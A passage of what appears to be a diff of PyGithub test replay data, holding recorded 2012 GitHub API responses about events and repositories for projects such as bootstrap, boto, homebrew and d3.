c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"pvorb"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T08:33:02Z","body":"This should be removed. It's not necessary because of traversing.","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807352","id":5807352,"user":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},"action":"created","issue":{"number":3543,"created_at":"2012-05-19T08:23:49Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"The attributes `font-family`, `font-size` and `line-height` are set identically for both `` and `

`. What's the rationale for repeating the declaration in `

`? Regards, Christian","title":"Font assignment overdone?","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3543","id":4653303,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3543","user":{"avatar_url":"https://secure.gravatar.com/avatar/04d99189f86d1d269b04876e68092784?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04d99189f86d1d269b04876e68092784","url":"https://api.github.com/users/datenimperator","id":112130,"login":"datenimperator"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:33:04Z","id":"1553892964","actor":{"gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"macx"}},{"type":"PushEvent","payload":{"head":"4986f61c9ce00ce792683cce9e47ea1579631155","size":2,"push_id":79397931,"commits":[{"sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","author":{"name":"Bryan Donlan","email":"bdonlan@amazon.com"},"url":"https://api.github.com/repos/boto/boto/commits/9c52a9b0ee98d1dce4a427e8a09307d399fe414d","distinct":true,"message":"Fix infinite loop when listing a large (100+) number of tables in dynamodb"},{"sha":"4986f61c9ce00ce792683cce9e47ea1579631155","author":{"name":"Mitch Garnaat","email":"mitch@garnaat.com"},"url":"https://api.github.com/repos/boto/boto/commits/4986f61c9ce00ce792683cce9e47ea1579631155","distinct":true,"message":"Removing extraneous host param from Layer2 contructor."}],"ref":"refs/heads/develop"},"public":true,"org":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889294","actor":{"gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"garnaat"}},{"type":"PullRequestEvent","payload":{"number":770,"pull_request":{"issue_url":"https://github.com/boto/boto/issues/770","head":{"repo":{"name":"boto","master_branch":"develop","created_at":"2012-05-19T23:11:59Z","size":120,"has_wiki":true,"clone_url":"https://github.com/bdonlan/boto.git","updated_at":"2012-05-19T23:13:56Z","private":false,"watchers":1,"language":"Python","git_url":"git://github.com/bdonlan/boto.git","ssh_url":"git@github.com:bdonlan/boto.git","fork":true,"url":"https://api.github.com/repos/bdonlan/boto","id":4381487,"pushed_at":"2012-05-19T23:13:56Z","svn_url":"https://github.com/bdonlan/boto","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://boto.readthedocs.org/","forks":0,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/bdonlan/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"label":"bdonlan:develop","sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"number":770,"created_at":"2012-05-19T23:15:06Z","changed_files":1,"merged_by":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"},"merged":true,"body":"The current code loops when there are more tables, but continues requesting a list from the start, leading to an infinite loop.","comments":0,"title":"Fix infinite loop when listing a large (100+) number of tables in dynamodb","updated_at":"2012-05-20T07:40:29Z","additions":7,"diff_url":"https://github.com/boto/boto/pull/770.diff","_links":{"html":{"href":"https://github.com/boto/boto/pull/770"},"self":{"href":"https://api.github.com/repos/boto/boto/pulls/770"},"comments":{"href":"https://api.github.com/repos/boto/boto/issues/770/comments"},"issue":{"href":"https://api.github.com/repos/boto/boto/issues/770"},"review_comments":{"href":"https://api.github.com/repos/boto/boto/pulls/770/comments"}},"url":"https://api.github.com/repos/boto/boto/pulls/770","id":1387801,"patch_url":"https://github.com/boto/boto/pull/770.patch","mergeable":null,"merged_at":"2012-05-20T07:40:29Z","closed_at":"2012-05-20T07:40:29Z","commits":1,"html_url":"https://github.com/boto/boto/pull/770","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"},"review_comments":0,"deletions":2,"state":"closed","base":{"repo":{"name":"boto","master_branch":"develop","created_at":"2010-07-12T19:15:33Z","size":4183,"has_wiki":true,"clone_url":"https://github.com/boto/boto.git","updated_at":"2012-05-20T07:40:28Z","private":false,"watchers":1519,"language":"Python","git_url":"git://github.com/boto/boto.git","ssh_url":"git@github.com:boto/boto.git","fork":false,"url":"https://api.github.com/repos/boto/boto","id":771016,"pushed_at":"2012-05-20T07:40:27Z","svn_url":"https://github.com/boto/boto","open_issues":131,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://boto.readthedocs.org/","forks":395,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/boto/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}},"label":"boto:develop","sha":"0bd4d8b270fd5796e2e8b570f8703410bdd02820","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}}},"action":"closed"},"public":true,"org":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889293","actor":{"gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"garnaat"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T07:39:27Z","body":"Good idea although I wonder if /Versions/1.8/ might be even better considering we die on our arse with 1.9.","updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807134","id":5807134,"user":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},"action":"created","issue":{"number":12333,"created_at":"2012-05-20T01:39:12Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12333.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12333.patch","html_url":"https://github.com/mxcl/homebrew/pull/12333"},"body":"re: #12009, this commit replaces all usages of /usr/bin/ruby with the full Framework path, which is *hopefully* less likely to be altered.\n\nSince we're no longer dealing with a default ruby path which is a symlink, I simplified the `brew --config` checks for the system ruby.","title":"Replace /usr/bin/ruby with full Framework path","comments":2,"updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12333","id":4657778,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12333","user":{"avatar_url":"https://secure.gravatar.com/avatar/f5f2035f07c635d24c62cf211d37f3d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f5f2035f07c635d24c62cf211d37f3d4","url":"https://api.github.com/users/mistydemeo","id":780485,"login":"mistydemeo"},"labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T07:39:29Z","id":"1553889227","actor":{"gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mikemcquaid"}},{"type":"PullRequestEvent","payload":{"number":648,"pull_request":{"issue_url":"https://github.com/mbostock/d3/issues/648","head":{"repo":{"name":"d3","created_at":"2012-05-20T05:25:26Z","size":208,"has_wiki":true,"clone_url":"https://github.com/eghm/d3.git","updated_at":"2012-05-20T05:44:03Z","private":false,"watchers":1,"git_url":"git://github.com/eghm/d3.git","ssh_url":"git@github.com:eghm/d3.git","fork":true,"language":"JavaScript","url":"https://api.github.com/repos/eghm/d3","id":4382862,"pushed_at":"2012-05-20T05:44:02Z","svn_url":"https://github.com/eghm/d3","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://d3js.org","forks":0,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/eghm/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"label":"eghm:master","sha":"4501a5e68ad31f3ea85983188f1a75906f3afd6d","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"number":648,"created_at":"2012-05-20T05:47:07Z","changed_files":1,"merged_by":null,"merged":false,"body":"An undefined import causes a fatal error in the bundle-radial demo. This commit avoids the error, the ui will go on to draw a line to a blank node. To recreate initial undefined error add a un-\"name\"ed node to one of the imports in examples/data/flare-imports.\n\nThanks for sharing such an awesome tool.\n","comments":0,"title":"add start and end parent != undefined in d3_layout_bundlePath while","updated_at":"2012-05-20T05:47:07Z","additions":2,"diff_url":"https://github.com/mbostock/d3/pull/648.diff","_links":{"html":{"href":"https://github.com/mbostock/d3/pull/648"},"self":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648"},"comments":{"href":"https://api.github.com/repos/mbostock/d3/issues/648/comments"},"issue":{"href":"https://api.github.com/repos/mbostock/d3/issues/648"},"review_comments":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648/comments"}},"url":"https://api.github.com/repos/mbostock/d3/pulls/648","id":1388185,"patch_url":"https://github.com/mbostock/d3/pull/648.patch","mergeable":null,"merged_at":null,"closed_at":null,"commits":1,"html_url":"https://github.com/mbostock/d3/pull/648","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"},"review_comments":0,"deletions":2,"state":"open","base":{"repo":{"name":"d3","created_at":"2010-09-27T17:22:42Z","size":3268,"has_wiki":true,"clone_url":"https://github.com/mbostock/d3.git","updated_at":"2012-05-20T05:25:26Z","private":false,"watchers":5893,"git_url":"git://github.com/mbostock/d3.git","ssh_url":"git@github.com:mbostock/d3.git","fork":false,"language":"JavaScript","url":"https://api.github.com/repos/mbostock/d3","id":943149,"pushed_at":"2012-05-17T19:11:22Z","svn_url":"https://github.com/mbostock/d3","open_issues":110,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://d3js.org","forks":670,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/mbostock/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}},"label":"mbostock:master","sha":"dd2a424f2bdb8fae1dab5ac27168f5bba186a0c4","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}}},"action":"opened"},"public":true,"repo":{"url":"https://api.github.com/repos/mbostock/d3","id":943149,"name":"mbostock/d3"},"created_at":"2012-05-20T05:47:09Z","id":"1553878057","actor":{"gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"eghm"}},{"type":"PushEvent","payload":{"head":"389347c92a590c6e6165a53ae054e48ca6a23db9","size":1,"push_id":79392783,"commits":[{"sha":"389347c92a590c6e6165a53ae054e48ca6a23db9","author":{"name":"Nick Stenning","email":"nick@whiteink.com"},"url":"https://api.github.com/repos/mxcl/homebrew/commits/389347c92a590c6e6165a53ae054e48ca6a23db9","distinct":true,"message":"mu: make emacs support optional\n\nCloses #12306.\n\nSigned-off-by: Jack Nagel "}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:20:38Z","id":"1553874168","actor":{"gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacknagel"}},{"type":"PullRequestEvent","payload":{"number":12306,"pull_request":{"issue_url":"https://github.com/mxcl/homebrew/issues/12306","head":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2011-10-03T12:09:31Z","size":188,"has_wiki":true,"clone_url":"https://github.com/nickstenning/homebrew.git","updated_at":"2012-05-19T21:24:29Z","private":false,"watchers":1,"git_url":"git://github.com/nickstenning/homebrew.git","ssh_url":"git@github.com:nickstenning/homebrew.git","fork":true,"url":"https://api.github.com/repos/nickstenning/homebrew","language":"Ruby","id":2504318,"pushed_at":"2012-05-19T21:24:29Z","svn_url":"https://github.com/nickstenning/homebrew","mirror_url":null,"open_issues":0,"has_downloads":false,"has_issues":false,"homepage":"http://mxcl.github.com/homebrew","forks":0,"description":"The missing package manager for OS X.","html_url":"https://github.com/nickstenning/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"label":"nickstenning:fix-mu","sha":"1a4c4f1a3d3a87da4a49ae4209186edc695eb715","ref":"fix-mu","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"number":12306,"created_at":"2012-05-18T10:18:22Z","changed_files":1,"merged_by":null,"merged":false,"body":"This patch removes a slightly insane dependency of `mu` on the `emacs` package.","comments":7,"title":"mu: don't depend on emacs","updated_at":"2012-05-20T05:19:00Z","additions":11,"diff_url":"https://github.com/mxcl/homebrew/pull/12306.diff","_links":{"html":{"href":"https://github.com/mxcl/homebrew/pull/12306"},"self":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306"},"comments":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306/comments"},"issue":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306"},"review_comments":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306/comments"}},"url":"https://api.github.com/repos/mxcl/homebrew/pulls/12306","id":1380202,"patch_url":"https://github.com/mxcl/homebrew/pull/12306.patch","mergeable":true,"merged_at":null,"closed_at":"2012-05-20T05:19:00Z","commits":3,"html_url":"https://github.com/mxcl/homebrew/pull/12306","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"},"review_comments":0,"deletions":1,"state":"closed","base":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2009-05-20T19:38:37Z","size":4436,"has_wiki":true,"clone_url":"https://github.com/mxcl/homebrew.git","updated_at":"2012-05-20T05:18:59Z","private":false,"watchers":8673,"git_url":"git://github.com/mxcl/homebrew.git","ssh_url":"git@github.com:mxcl/homebrew.git","fork":false,"url":"https://api.github.com/repos/mxcl/homebrew","language":"Ruby","id":206084,"pushed_at":"2012-05-20T05:18:59Z","svn_url":"https://github.com/mxcl/homebrew","mirror_url":null,"open_issues":423,"has_downloads":false,"has_issues":true,"homepage":"http://mxcl.github.com/homebrew","forks":3960,"description":"The missing package manager for OS X.","html_url":"https://github.com/mxcl/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}},"label":"mxcl:master","sha":"7ac1cbc996e0f18aaabad5ef327ff57161e0ae2e","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}}},"action":"closed"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:19:01Z","id":"1553873936","actor":{"gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacknagel"}}] - diff --git a/tests/ReplayData/NamedUser.testGetRepo.txt b/tests/ReplayData/NamedUser.testGetRepo.txt index cee793a9e5..29c3a8d1e1 100644 --- a/tests/ReplayData/NamedUser.testGetRepo.txt +++ b/tests/ReplayData/NamedUser.testGetRepo.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} - diff --git a/tests/ReplayData/NamedUser.testGetRepos.txt b/tests/ReplayData/NamedUser.testGetRepos.txt index f5927c5eac..4d49575dee 100644 --- a/tests/ReplayData/NamedUser.testGetRepos.txt +++ b/tests/ReplayData/NamedUser.testGetRepos.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '12615'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9389fb7704e9c5ed4c38f461a4c83fd7"'), ('date', 'Sat, 26 May 2012 10:11:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"git_url":"git://github.com/jacquev6/TestPyGithub.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"git_url":"git://github.com/jacquev6/django.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T10:01:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"git_url":"git://github.com/jacquev6/PyGithub.git","private":false,"open_issues":16,"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"git_url":"git://github.com/jacquev6/developer.github.com.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/developer.github.com","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"git_url":"git://github.com/jacquev6/acme-public-website.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/acme-public-website","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z